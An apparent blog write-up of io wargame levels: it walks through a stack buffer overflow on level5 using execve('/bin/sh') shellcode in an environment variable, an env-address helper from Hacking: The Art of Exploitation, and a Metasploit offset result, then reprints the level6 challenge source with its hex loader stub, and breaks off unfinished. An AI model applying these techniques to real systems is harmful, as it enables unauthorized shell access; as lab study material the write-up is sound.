This is a simple buffer overflow program. I will use the x86 execve(“/bin/sh”) shellcode and place it in an environment variable. Then I will get the address of that variable using an excellent program from Hacking: The Art of Exploitation and pass it to the level5 binary in order to get a shell.
First, here is the very useful code for getting the address of an environment variable, from Jon Erickson’s book:
12345678910111213
#include <stdio.h>#include <stdlib.h>#include <string.h>intmain(intargc,char*argv[]){char*ptr;if(argc<3){printf("Usage: %s <environment var> <target program name>\n",argv[0]);exit(0);}ptr=getenv(argv[1]);/* Get env var location. */ptr+=(strlen(argv[0])-strlen(argv[2]))*2;/* Adjust for program name. */printf("%s will be at %p\n",argv[1],ptr);}
Compile this program in your own directory. Next, add an environment variable with the shellcode:
Run the program in GDB with the pattern and then get the offset:
12345
Program received signal SIGSEGV, Segmentation fault.
0x37654136 in ?? ()
root@kali:/usr/share/metasploit-framework/tools# ./pattern_offset.rb 0x37654136
[*] Exact match at offset 140
Now get the address of our environment variable:
12
level5@io:/tmp/mydir$ ./getenv PWN /levels/level05
PWN will be at 0xbfffff53
//don't get trapped, there's no need//level by bla#include <sys/mman.h>#include <stdlib.h>#include <stdio.h>#include <string.h>#define LOADERSIZE (232 + 16)void*getASLRregion(intsize,intflags);voidswitchcontext(char*newstack,char*code);intmain(intargc,char*argv[],char*env[]){char*newcode,*newstack;//allocate memory at random addressesnewstack=getASLRregion(64*1024,PROT_READ|PROT_WRITE);newcode=getASLRregion(64*1024,PROT_READ|PROT_WRITE|PROT_EXEC);if(argc>1)if(!strchr(argv[1],0xcd))if(!strchr(argv[1],0xe8))if(!strstr(argv[1],"\x0F\x34"))if(!strchr(argv[1],0xdb)){//prepare new code section, leaving some space for a loaderstrncpy(newcode+LOADERSIZE,argv[1],1000);//start executing using a new stack and code section.switchcontext(newstack+64*1024,newcode);}return0;}/*************************************************************************************************************************//* HALT! The code below only provides a controllable aslr/noexec for this challenge, there's no need to waste time on it *//*************************************************************************************************************************/void__attribute__((constructor))initializePRNG(){intseed;FILE*devrand=fopen("/dev/random","r");if(devrand==0)exit(-1);if(fread(&seed,4,1,devrand)!=1)exit(-1);fclose(devrand);srand(seed);}unsignedintloader[100]={0xe899c031,0};void*getASLRregion(intsize,intflags){inttries=1000,hint,res;while(tries--){hint=rand()<<12;res=(int)mmap((void*)hint,size+4096,flags,MAP_PRIVATE|MAP_ANONYMOUS,0,0);if(hint==res){loader[++loader[1]+1]=hint;return(void*)(res+(rand()&0xffc));}if(munmap((void*)res,size+4096))exit(-1);}exit(-1);}voidswitchcontext(char*newstack,char*code){loader[1]<<=2;memcpy(code,loader,loader[1]+8);memcpy(code+loader[1]+8,"\x68\x61\x70\x73\x00\x68\x6c\x66\x2f\x6d\x68\x63\x2f\x73\x65\x68\x2f\x70""\x72\x6f\x89\xe3\x89\xc1\xb0\x05\xcd\x80\x81\xc4\x10\x00\x00\x00\x85\xc0\x0f\x88\x97\x00\x00\x00\x50\x89\xe5\x31\xc9\x31""\xff\xc1\xe7\x04\x0f\xb6\xc9\x09\xcf\xe8\x73\x00\x00\x00\x85\xc0\x0f\x84\x80\x00\x00\x00\x80\xf9\x2d\x74\x10\x80\xe9\x30""\x80\xf9\x09\x76\xde\x80\xe9\x27\xe9\xd6\xff\xff\xff\x8b\x75\x04\xad\x39\xf8\x74\x3b\x85\xc0\x75\xf7\x57\x31\xc9\x31\xff""\xc1\xe7\x04\x0f\xb6\xc9\x09\xcf\xe8\x38\x00\x00\x00\x85\xc0\x74\x49\x80\xf9\x20\x74\x10\x80\xe9\x30\x80\xf9\x09\x76\xe2""\x80\xe9\x27\xe9\xda\xff\xff\xff\x5b\x89\xf9\x29\xd9\x31\xc0\x99\xb0\x7d\xcd\x80\xe8\x0e\x00\x00\x00\x85\xc0\x74\x1f\x80""\xf9\x0a\x75\xf2\xe9\x7c\xff\xff\xff\x51\x89\xe1\x31\xc0\x99\xb0\x03\x42\x8b\x5d\x00\xcd\x80\x59\xc3\x31\xc0\x40\xcd\x80""\x31\xc0\xb0\x06\x5b\xcd\x80\x31\xc0\x5b\x31\xc9\xb1\x10\xfd\x89\xe7\xf3\xab\xfc\x8d\x7b\xf8\xb1\x3d\x99\x31\xdb\x31\xf6""\xf3\xab\x31\xff",LOADERSIZE-16);asm("mov %0, %%esp\nmov %1,%%eax\njmp *%%eax"::"r"(newstack-4),"r"(code):"eax");}
Function overview
Well, let’s first be clear on the flags used for the memory allocation:
PROT_EXEC Pages may be executed.
PROT_READ Pages may be read.
PROT_WRITE Pages may be written.
strchr
char strchr(const char str, int ch);
Returns a pointer to the first occurrence of character ch in str or a null pointer if no matching character is found.
The terminating null byte is considered part of the string, so that if ch is specified as ‘\0’, this function returns a pointer to the terminator.
I will come back to this at a later time.
Truth is the most valuable thing we have — so let us economize it.